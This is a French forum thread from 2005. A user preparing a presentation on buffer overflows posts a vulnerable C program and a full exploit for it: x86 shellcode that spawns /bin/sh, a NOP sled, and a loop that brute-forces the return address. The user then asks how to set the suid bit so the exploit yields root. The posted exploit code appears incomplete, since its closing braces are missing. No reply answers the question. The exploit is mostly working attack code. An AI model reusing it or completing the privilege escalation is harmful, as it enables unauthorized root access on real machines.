Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
2599 connectés 

  FORUM HardWare.fr
  Linux et OS Alternatifs

  bit suid avec buffer overflow

 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

bit suid avec buffer overflow

n°628962
Profil sup​primé
Posté le 31-01-2005 à 08:45:03  answer
 

bonjour,
j'ai un exposé a faire sur le buffer oveflow mais voila j'ai codé mon bof mais je n'ai pas accés à root, je pense que c'est le bit suid, maus comment le mettre, quelles sont les permissions que dois avoir le fichier
 
voici l'exploit
vuln1:
int main(int argc, char **argv)
{
char buffer[100];
if (argc > 1)
     strcpy(buffer, argv[1]);
return (0);
}
 
exploit1:
#include <stdlib.h>
#define BUFFER_LEN 100
#define OVERFLOW 8
 
int main()
{
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
                   "\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
                   "\x0c\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40"
                   "\xcd\x80\xe8\xdc\xff\xff\xff"
                   "/bin/sh";
char newret[] = "\x00\xfc\xff\xbf";          // adresse de depart
char diff[] = "\xff\xff\xff\xbf";          // adresse limite
char buffer[512];
int i;
int j;
int loop;
int pid;
int error;
 
for (loop = 0; strcmp(diff, newret) > 0; loop++)
  {
     error = 0;
 
     newret[0] += 1;
     if (newret[0] == '\x00')
       {
          newret[1] += 1;
          newret[0] = '\x00';
          continue;
       }
 
     for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(2*strlen(newret)+strlen(shellcode))); i++)
          buffer[i] = '\x90';
 
     for (j = 0; shellcode[j]; j++, i++)
          buffer[i] = shellcode[j];
 
     for (j = 0; newret[j]; j++, i++)
          buffer[i] = newret[j];
 
     for (j = 0; newret[j]; j++, i++)
          buffer[i] = newret[j];
 
     pid = fork();
     if (pid == -1)
       {
          printf("#@! Fork() Error.\n" );
          exit(0);
       }
     else if (pid == 0)
       {
          execl("/root/RedKod/Stack_Overflow/BO/vuln1/vuln1", "vuln1", buffer, NULL);
          exit(0);
       }
     else
          waitpid(pid, &error, 0);
 
     if (error == 0)
       {
         return (0);
       }
a l"execution j'ai :
 
sh-2.05a$ whoami
user
sh-2.05a$  
:-(
 
comment faire please!!!!!!! :-(
 
 

mood
Publicité
Posté le 31-01-2005 à 08:45:03  profilanswer
 

n°629005
Profil sup​primé
Posté le 31-01-2005 à 10:33:56  answer
 

personne :-(
help!!

n°629023
Mjules
Modérateur
Parle dans le vide
Posté le 31-01-2005 à 11:31:41  profilanswer
 

à pas compris, tu veux faire quoi ?
 
passer root ? te mettre le bit suid avec un proprio root ?


---------------
Celui qui pose une question est idiot 5 minutes. Celui qui n'en pose pas le reste toute sa vie. |  Membre du grand complot pharmaceutico-médico-scientifico-judéo-maçonnique.
n°629136
Profil sup​primé
Posté le 31-01-2005 à 14:10:01  answer
 

je voudrais essayer de passer en root grace a l'exploit mais ca ne marche pas, je reste user

n°629203
Profil sup​primé
Posté le 31-01-2005 à 15:43:17  answer
 

help please


Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Linux et OS Alternatifs

  bit suid avec buffer overflow

 

Sujets relatifs
[Securite] Besoin d'aide sur les suid et uid .... SVPComment sont gerer les SUID et les GUID ?
CDRecord : "faio_wait_on_buffer for writer timed out" :|frame buffer, dga et carte tv
[Mandrake] Problème de buffer pour le web ??[K3B] pas d'info sur le buffer d'écriture
[apt-get,debian] wait buffer until released => mega plantage.frame buffer en 800x600 sur un écran, mais pas sur un autre...
A quoi il sert le bit SUID ?NVidia et Frame Buffer
Plus de sujets relatifs à : bit suid avec buffer overflow


Copyright © 1997-2025 Groupe LDLC (Signaler un contenu illicite / Données personnelles)